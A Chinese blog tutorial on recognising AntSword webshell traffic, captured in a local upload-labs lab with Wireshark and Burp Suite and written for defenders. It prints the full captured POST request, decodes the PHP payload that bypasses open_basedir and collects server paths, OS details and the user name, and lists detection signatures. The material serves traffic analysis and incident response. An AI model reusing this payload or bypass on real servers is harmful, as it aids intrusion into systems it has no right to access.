流量分析——一、蚁剑流量特征

已于 2024-07-25 12:05:18 修改
阅读量5k 收藏 52
点赞数 81
分类专栏： 渗透测试 网络安全 流量分析 文章标签： 网络安全 php 蚁剑 流量特征 研判 攻击特征甄别 Web安全
于 2024-06-05 23:29:30 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_63172698/article/details/139482223
版权

君衍.

一、Webshell特征流量分析

对于重保、护网等攻防演练的防守方来说，流量分析的能力需要具备，所以本篇从webshell不同工具的不同特征进行分析来进行学习。
流量特征分析工具及对比：

  • wireshark：可以详细分析具体的数据包，比如从OSI七层、TCP四层每层协议等数据包都可以进行分析。
  • burpsurite：仅针对HTTP、HTTPS数据包进行抓包，分析，具备渗透测试部分功能，比如重放、编解码等等。

以及对于webshell利用的应急流程：从webshell是何时被部署的、又是通过什么漏洞打进来的、同时webshell的存放位置以及通过提取文件中的key密码为连接密码32位md5值得前16位作为AES得解密密钥，最后对流量进行解密以及还原所有流量进行回溯，这一流程需要明白。

二、环境介绍

首先，我使用的靶场是upload-labs靶场：
在这里插入图片描述
搭建在VMware上，使用的网络模式是NAT模式，网口自然是VMnet8：
在这里插入图片描述
在这里插入图片描述
之所以看以上内容是因为wireshark的抓包网卡需要进行更改：
在这里插入图片描述
之后我使用wireshark进行流量分析时，将抓取的网卡设置为net8即可。当然，如果靶场部署在云端，我们自然使用wlan的网卡进行抓取分析，需要根据实际情况而定。
当然，我们对蚁剑流量进行分析，自然需要下好蚁剑，安装好Burpsurite之后需要配置代理进行抓包查看。后面抓取的时候分析。
在这里插入图片描述
一句话木马木马已经写入php文件中，之后完成上传即可。

三、使用Wireshark进行流量分析

1、环境说明

已经将木马文件上传完毕，同时使用蚁剑添加了数据，测试连接成功。
在这里插入图片描述
我们打开wireshark进行抓包，之后蚁剑完成连接：
在这里插入图片描述
在这里插入图片描述
下面我们仔细分析这几个数据包：
在这里插入图片描述
可以看到1，4，5数据包为TCP的三次握手的数据包，10-13为TCP四次挥手的数据包。
同时数据报6为TCP在传输消息时，对于应用层可能出于超过MSS而导致不能一次包含全部应用层的PDU，将完整的消息分为了多段，所以会在除了最后一个分段，剩下都打上TCP segment of a reassembled PDU。
报文7与报文9则是HTTP的请求与响应包，中间则为TCP的确认机制ACK包。

当一个完整消息被分割成多个TCP segment 时，在能识别运行在TCP之上的应用层协议前提下，wireshark为了能标识出哪些TCP segment需要被重新组装（reassembled），从而将除了最后一个的其他segment都打上“TCP segment of a reassembled PDU”。

在这里插入图片描述
所以这里我们进行流量分析主要分析报文7请求包以及报文9相应包。

2、HTTP追踪流分析

我们这里直接查看TCP追踪流：
在这里插入图片描述
数据包内容如下：

POST /upload/upload/1.php HTTP/1.1
Host: 192.168.217.143
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/537.13+ (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2
Content-Type: application/x-www-form-urlencoded
Content-Length: 1797
Connection: close

zyan=%40ini_set(%22display_errors%22%2C%20%220%22)%3B%40set_time_limit(0)%3B%24opdir%3D%40ini_get(%22open_basedir%22)%3Bif(%24opdir)%20%7B%24ocwd%3Ddirname(%24_SERVER%5B%22SCRIPT_FILENAME%22%5D)%3B%24oparr%3Dpreg_split(base64_decode(%22Lzt8Oi8%3D%22)%2C%24opdir)%3B%40array_push(%24oparr%2C%24ocwd%2Csys_get_temp_dir())%3Bforeach(%24oparr%20as%20%24item)%20%7Bif(!%40is_writable(%24item))%7Bcontinue%3B%7D%3B%24tmdir%3D%24item.%22%2F.0ac4da9ca%22%3B%40mkdir(%24tmdir)%3Bif(!%40file_exists(%24tmdir))%7Bcontinue%3B%7D%24tmdir%3Drealpath(%24tmdir)%3B%40chdir(%24tmdir)%3B%40ini_set(%22open_basedir%22%2C%20%22..%22)%3B%24cntarr%3D%40preg_split(%22%2F%5C%5C%5C%5C%7C%5C%2F%2F%22%2C%24tmdir)%3Bfor(%24i%3D0%3B%24i%3Csizeof(%24cntarr)%3B%24i%2B%2B)%7B%40chdir(%22..%22)%3B%7D%3B%40ini_set(%22open_basedir%22%2C%22%2F%22)%3B%40rmdir(%24tmdir)%3Bbreak%3B%7D%3B%7D%3B%3Bfunction%20asenc(%24out)%7Breturn%20%24out%3B%7D%3Bfunction%20asoutput()%7B%24output%3Dob_get_contents()%3Bob_end_clean()%3Becho%20%22f9b9d%22.%22abb3d6%22%3Becho%20%40asenc(%24output)%3Becho%20%22c84a1%22.%225b471%22%3B%7Dob_start()%3Btry%7B%24D%3Ddirname(%24_SERVER%5B%22SCRIPT_FILENAME%22%5D)%3Bif(%24D%3D%3D%22%22)%24D%3Ddirname(%24_SERVER%5B%22PATH_TRANSLATED%22%5D)%3B%24R%3D%22%7B%24D%7D%09%22%3Bif(substr(%24D%2C0%2C1)!%3D%22%2F%22)%7Bforeach(range(%22C%22%2C%22Z%22)as%20%24L)if(is_dir(%22%7B%24L%7D%3A%22))%24R.%3D%22%7B%24L%7D%3A%22%3B%7Delse%7B%24R.%3D%22%2F%22%3B%7D%24R.%3D%22%09%22%3B%24u%3D(function_exists(%22posix_getegid%22))%3F%40posix_getpwuid(%40posix_geteuid())%3A%22%22%3B%24s%3D(%24u)%3F%24u%5B%22name%22%5D%3A%40get_current_user()%3B%24R.%3Dphp_uname()%3B%24R.%3D%22%09%7B%24s%7D%22%3Becho%20%24R%3B%3B%7Dcatch(Exception%20%24e)%7Becho%20%22ERROR%3A%2F%2F%22.%24e-%3EgetMessage()%3B%7D%3Basoutput()%3Bdie()%3BHTTP/1.1 200 OK
Date: Wed, 05 Jun 2024 14:06:51 GMT
Server: Apache/2.4.39 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9a mod_log_rotate/1.02
X-Powered-By: PHP/7.3.4
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

9df9b9dabb3d6C:/phpstudy_pro/WWW/upload/upload	C:	Windows NT WINDOWS-7 6.1 build 7601 (Windows 7 Ultimate Edition Service Pack 1) AMD64	Administratorc84a15b4710

以上内容的解读：

  • POST /upload/upload/1.php HTTP/1.1: 通过 POST 方法发送到 /upload/upload/1.php 的请求。
  • Host: 192.168.217.143: 请求的主机地址为 192.168.217.143。
  • Accept-Encoding: gzip, deflate: 请求头中表明接受的编码方式。
  • User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/537.13+ (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2: 请求的用户代理是 Safari。
  • Content-Type: application/x-www-form-urlencoded: 表明请求体的内容类型是 URL 编码的表单数据。
  • Content-Length: 1797: 请求体的长度为 1797 字节。
  • Connection: close: 请求结束后立即关闭连接，不缓存。

接着中间这一长串则是经过URL编码过的PHP代码，解码之后如下：

<?php
@ini_set("display_errors", "0");
@set_time_limit(0);
$opdir=@ini_get("open_basedir");
if($opdir) {
    $ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);
    $oparr=preg_split(base64_decode("Lzt8Oi8="),$opdir);
    @array_push($oparr,$ocwd,sys_get_temp_dir());
    foreach($oparr as $item) {
        if(!@is_writable($item)){continue;};
        $tmdir=$item."/0ac4da9ca";
        @mkdir($tmdir);
        if(!@file_exists($tmdir)){continue;}
        $tmdir=realpath($tmdir);
        @chdir($tmdir);
        @ini_set("open_basedir", "..");
        $cntarr=@preg_split("/\\\\|\\//",$tmdir);
        for($i=0;$i<sizeof($cntarr);$i++){@chdir("..");}
        @ini_set("open_basedir","/");
        @rmdir($tmdir);
        break;
    };
};;
function asenc($out){return $out;};
function asoutput(){$output=ob_get_contents();ob_end_clean();echo "f9b9d"."abb3d6";echo @asenc($output);echo "c84a1"."5b471";}
ob_start();
try{
    $D=dirname($_SERVER["SCRIPT_FILENAME"]);
    if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);
    $R="{$D}	";
    if(substr($D,0,1)!="/"){foreach(range("C","Z")as$L)if(is_dir("{$L}:"))$R.="{$L}:";}else{$R.="/";}
    $R.="	";
    $u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";
    $s=($u)?$u["name"]:@get_current_user();
    $R.=php_uname();
    $R.="	{$s}";
    echo $R;
}catch(Exception $e){echo "ERROR://".$e->getMessage();}
asoutput();
die();
?>

（代码解读往下滑）
在这里插入图片描述
后面则是一段服务器的响应头以及响应体：

  • HTTP/1.1 200 OK: 服务器成功响应请求。
  • Date: Wed, 05 Jun 2024 14:06:51 GMT: 响应的日期时间。
  • Server: Apache/2.4.39 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9a mod_log_rotate/1.02: 服务器信息。
  • X-Powered-By: PHP/7.3.4: 使用的 PHP 版本。
  • Connection: close: 连接关闭。
  • Transfer-Encoding: chunked: 响应体采用分块传输编码。
  • Content-Type: text/html; charset=UTF-8: 响应内容类型为 HTML。
  • 响应体则包含路径以及系统信息等内容。

其中我们还需观察到木马连接的密码则是zyan。

3、蚁剑请求体中代码块解读

这里我直接放入注释里面解读，因为从上面HTTP追踪流可以看到请求结果有路径，系统信息以及用户名称等内容。所以我们可以简单看下蚁剑的PHP代码：

<?php
// 禁止显示错误信息
@ini_set("display_errors", "0");
// 设置脚本执行时间不限制
@set_time_limit(0);

// 获取 PHP 配置中的 open_basedir 值
$opdir=@ini_get("open_basedir");
if($opdir) {
    // 获取当前脚本所在目录
    $ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);
    // 使用 base64 解码后进行拆分
    $oparr=preg_split(base64_decode("Lzt8Oi8="),$opdir);
    // 将当前目录和系统临时目录添加到数组中
    @array_push($oparr,$ocwd,sys_get_temp_dir());
    foreach($oparr as $item) {
        // 如果目录不可写，则继续循环
        if(!@is_writable($item)){continue;};
        // 创建一个临时目录
        $tmdir=$item."/0ac4da9ca";
        @mkdir($tmdir);
        // 如果目录不存在，则继续循环
        if(!@file_exists($tmdir)){continue;}
        // 获取临时目录的绝对路径
        $tmdir=realpath($tmdir);
        // 进入临时目录
        @chdir($tmdir);
        // 修改 open_basedir 为上一级目录
        @ini_set("open_basedir", "..");
        // 将路径按斜杠分隔成数组
        $cntarr=@preg_split("/\\\\|\\//",$tmdir);
        // 循环返回上级目录，直到根目录
        for($i=0;$i<sizeof($cntarr);$i++){@chdir("..");}
        // 恢复 open_basedir 为根目录
        @ini_set("open_basedir","/");
        // 删除临时目录
        @rmdir($tmdir);
        break;
    };
};

// 定义函数 asenc，无实际操作，直接返回输入
function asenc($out){return $out;};
// 定义函数 asoutput，将输出内容进行一些处理后输出
function asoutput(){$output=ob_get_contents();ob_end_clean();echo "f9b9d"."abb3d6";echo @asenc($output);echo "c84a1"."5b471";}
// 开始输出缓冲区
ob_start();
try{
    // 获取当前脚本所在目录
    $D=dirname($_SERVER["SCRIPT_FILENAME"]);
    // 如果为空，则获取当前路径的上一级目录
    if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);
    // 将当前目录信息存入变量 $R
    $R="{$D}	";
    // 如果路径不是绝对路径，则循环遍历 A 到 Z 盘符，获取可用盘符
    if(substr($D,0,1)!="/"){foreach(range("C","Z")as$L)if(is_dir("{$L}:"))$R.="{$L}:";}else{$R.="/";}
    // 添加分隔符和系统信息
    $R.="	";
    // 获取当前用户信息
    $u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";
    $s=($u)?$u["name"]:@get_current_user();
    // 添加系统信息和当前用户信息到变量 $R
    $R.=php_uname();
    $R.="	{$s}";
    // 输出变量 $R
    echo $R;
}catch(Exception $e){
    // 如果出现异常，则输出错误信息
    echo "ERROR://".$e->getMessage();
}
// 输出经过处理的内容
asoutput();
// 结束脚本
die();
?>

四、使用BurpSurite进行流量分析

1、环境配置

这里依旧是将木马已经上传入虚拟机，我们可以直接使用蚁剑进行连接。但是Burp抓包我们需要在蚁剑上配置代理，所以首先需要配置代理，代理到Burp上。
在这里插入图片描述
我们可以看到Burp的监听端口是8080，下面在蚁剑上进行配置：
在这里插入图片描述
首先点击左上角AntSword，点击系统设置，然后找到代理设置更改为手动设置代理，接着将代理IP以及端口配置完毕即可。
在这里插入图片描述
即可配置成功。

2、抓包分析

接着我们打开BP拦截，使用蚁剑进行访问：
在这里插入图片描述
即可完成拦截，接着我们发送到重发器来进行查看：
在这里插入图片描述
将蚁剑请求包发送，观察响应包：
在这里插入图片描述
经过观察即可发现，与wireshark抓到的一致，同样是回显路径、系统信息以及用户名称。
在这里插入图片描述
具体流量分析过程以及解读见上面wireshark的HTTP追踪流解读即可。

六、总结

蚁剑的明显特征：（实战辨别还需网端结合进行甄别）

  • 1、使用URL编解码；
  • 2、每个数据包前面都会包含@ini_set("display_errors", "0");@set_time_limit(0);这两个语句；
  • 3、响应包都是明文。
备战2024数学建模国赛（模型三十一）：蚁群算法 优秀案例（二）城市相邻两交叉口信号配时优化问题 —— 蚁群算法应用案例
m0_52343631的博客
08-26 636
蚁群算法是一种基于蚂蚁觅食行为的仿生优化算法，通过蚂蚁个体之间的信息传递和合作完成全局搜索。每只蚂蚁根据环境中信息素的强度来选择路径，并在前进过程中释放信息素，以吸引其他蚂蚁沿相同路径前进。通过信息素的累积和挥发，蚁群算法能够逐步趋向最优解。初始化：设置参数并初始化信息素矩阵。路径选择：每只蚂蚁根据概率选择下一步路径。信息素更新：根据路径长度和质量更新信息素。迭代与收敛：重复路径选择和信息素更新，直到达到停止条件。
菜刀、冰蝎、蚁剑、哥斯拉的流量特征
热门推荐
eternitymd的博客
04-29 2万+
菜刀流量特征(最开始是明文传输，后来采用base64加密)：PHP类WebShell链接流量 如下图： 第一：“eval”，eval函数用于执行传递的攻击payload，这是必不可少的； 第二：(base64_decode($_POST[z0]))，(base64_decode($_POST[z0]))将攻击payload进行Base64解码，因为菜刀默认是使用Base64编码，以避免被检测； 第三：&z0=QGluaV9zZXQ...，该部分是传递攻击payload，此参数z0对应$_
Webshell之蚁剑流量分析
qq_51323560的博客
05-15 2687
--------------------------------------------------------------------------------------------------------------------------------第一次学习webshell流量分析，还请大佬们多多指教。参数1，str参数是指将要进行截取字符操作的字符串。参数3， length参数是说明本次截取操作的长度，（2）分析发现真正有效的字符串是去除头部的2个字母。（3）查看虚拟终端执行的命令。
[玄机]流量特征分析-蚁剑流量分析
网安日记本的博客
07-31 9991
流量特征分析-蚁剑流量分析题目做法及思路解析（个人分享）
第六章 流量特征分析-蚁剑流量分析（玄机靶场系列）
最新发布
m0_73062138的博客
05-05 516
text/html。
蚁剑流量分析
震山的博客
09-12 2300
蚁剑流量有何规则，也许看完这篇有所收获吧
蚁剑的配置及流量分析
weixin_48776804的博客
05-27 1016
蚁剑安装
中国蚁剑流量分析
UserNick157的博客
04-25 6938
中国蚁剑流量分析 文章目录中国蚁剑流量分析1.代理2.测试连接数据包:执行代码:执行结果:3.双击连接第一个数据包数据包:第二个数据包数据包:执行代码:response:4.打开文件夹数据包:5.打开文件数据包：执行代码：6.修改文件1.修改小文件数据包：执行代码：2.修改大文件7.wget文件数据包执行代码：8.删除文件数据包：执行代码：9.上传文件1.数据包：执行代码：10.打开终端数据包执行代码：蚁剑与相关功能模块源码部分知识点1.测试连接部分2.删除文件3.命令执行 1.代理 蚁剑有设置代理的功能，
流量特征分析——蚁剑、菜刀、冰蝎、哥斯拉
Sgirll的博客
07-22 1万+
通过对这三种常见的网络攻击工具流量特征的分析，我们可以更好地了解它们在网络流量中的表现。同时，持续的学习和了解新兴攻击工具的流量特征也是保持网络安全的重要一环。哥斯拉的数据包中包含了特定的标记，如"XORHEAD"和"XORBODY"，用于标识该数据包是哥斯拉的控制命令。此外，哥斯拉还使用了一种自定义的二进制协议，在通信中传输各种类型的数据。本文将重点研究菜刀、蚁剑和冰蝎这三种常见的网络攻击工具，分析它们在流量中留下的痕迹和特征，以便网络管理员和安全专家能够更好地识别和对抗这些工具所带来的潜在威胁。
消费金融视角下互联网金融的发展路径——以蚂蚁金服发展路径为例.pdf
07-16
在互联网金融视角下，消费金融的创新服务模式，如蚂蚁金服的余额宝、花呗、借呗等产品，为消费者提供了便捷的金融服务，同时也为互联网企业带来了巨大的流量和盈利空间。 蚂蚁金服是阿里巴巴集团旗下的金融控股公司...
互联网消费信贷行为及满意度调查分析——以杭州市为例.pdf
07-16
互联网消费信贷行为及满意度调查分析——以杭州市为例 知识点分析： 一、互联网消费信贷的现状与特点 互联网消费信贷是指依托于互联网平台，为用户提供一定额度的消费贷款，用户可在特定消费场景中使用。杭州市...
（19）互联网企业的投资战略分析——以阿里巴巴为例.zip
09-14
【标题】：“（19）互联网企业的投资战略分析——以阿里巴巴为例” 【描述】：这份文档深入探讨了互联网企业如何制定并实施投资战略，通过分析阿里巴巴这一全球知名的互联网巨头，揭示了其在投资领域的成功秘诀。 ...
蚁剑渗透测试
Lu__xiao的博客
01-15 4115
一、应用场景 对于本实验，我的理解是基于对方服务器存在文件上传漏洞，已经被上传一句话木马，这时我们通过蚁剑去做一个渗透攻击，目标是控制对方的服务器。 实验目标：1. 学会蚁剑的攻击方法； 2. 通过 Wireshark 抓取数据包进行分析； 本次实验需要一个攻击方和服务器 这里本机为服务器 IP地址：192.168.0.142 环境需求：phpstudy （模拟服务器）、Wireshark 抓包工具（进行抓宝分析） 虚拟机...
第六章 流量特征分析-蚁剑流量分析
2401_84830066的博客
01-09 469
前提-蚁剑的流量特征： 1. 默认的USER-agent请求头 是 antsword xxx，可以通过修改：/modules/request.js 文件中 请求UA绕过 2. 每个请求体都存在@ini_set(“display_errors”, “0”);@set_time_limit(0)开头。并且后面存在base64等字符 3. 蚁剑混淆加密后还有一个比较明显的特征,即为参数名大多以“_0x......=”这种形式（下划线可替换），所以以_0x开头的参数名也很可能就是恶意流量 4. 默认的蚁剑
玄机-流量特征分析-蚁剑流量分析
苏生要努力
05-27 1792
1.木马的连接密码是多少2.黑客执行的第一个命令是什么3.黑客读取了哪个文件的内容，提交文件绝对路径4.黑客上传了什么文件到服务器，提交文件名5.黑客上传的文件内容是什么6.黑客下载了哪个文件，提交文件绝对路径。
玄机平台流量特征分析-蚁剑流量分析
2301_76227305的博客
06-20 979
最后，以上仅为个人的拙见，如何有不对的地方，欢迎各位师傅指正与补充，有兴趣的师傅可以一起交流学习。
浅谈蚁剑流量分析，从零基础到精通，收藏这篇就够了！_antsword 流量分析
yy1715713348的博客
02-22 1002
1、前言最近打CTF比赛，遇到了流量分析的题目，通过流量分析还原黑客攻击的过程、执行了哪些操作、偷走了哪些数据。这个过程中就涉及到了webshell工具，有冰蝎、哥斯拉、蚁剑。这次就先谈谈蚁剑的流量分析，下次再分享其他工具的流量分析。2、蚁剑流量分析2.1 蚁剑编码与解码AntSword 是一款开源、跨平台的网站管理工具，旨在满足渗透测试人员、具有权限和授权的安全研究人员以及网站管理员的需求。测试文件上传漏洞时，经常用到该工具。
玄机-第六章 流量特征分析-蚁剑流量分析
sucker的博客
02-27 1249
1，已知攻击者使用的webshell的工具是蚁剑，那么攻击者应该预先向服务器上传了木马文件，而且一句话木马上传成功了，那么就可以定位到响应码200的流量。4，问黑客传入什么文件进入服务器，思路很简单：上传文件使用的一般是POST请求，在web服务器文件上传通常使用HTTP的POST方法。"1" : "0");2，问攻击者执行的第一个命令是什么，那么我们就需要查看服务端（已经被攻击者使用蚁剑控制）执行了哪些命令，依然是过滤响应码200的。
wireshark下的蚁剑
12-02
根据提供的引用内容，蚁剑是一款常用的远程管理工具，而Wireshark是一款网络协议分析工具。在使用蚁剑时，我们可以使用Wireshark来抓取蚁剑的连接流量，以便更好地了解蚁剑的使用情况。 以下是抓取蚁剑webshell连接流量的步骤： 1. 确保已经安装Wireshark，并打开Wireshark软件。 2. 在Wireshark的主界面中，选择需要抓取的网络接口，例如Wi-Fi或以太网接口。 3. 在过滤器中输入“tcp.port==端口号”，其中端口号为蚁剑连接的端口号，默认为9999。 4. 点击“开始捕获”按钮，Wireshark开始抓取网络流量。 5. 在蚁剑中连接webshell，可以使用上传webshell、问webshell页面、用蚁剑连接webshell等方法。 6. 在Wireshark中停止抓取流量，可以看到抓取到的蚁剑连接流量。 需要注意的是，在使用Wireshark抓取网络流量时，需要遵守相关法律法规，不得进行非法操作。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值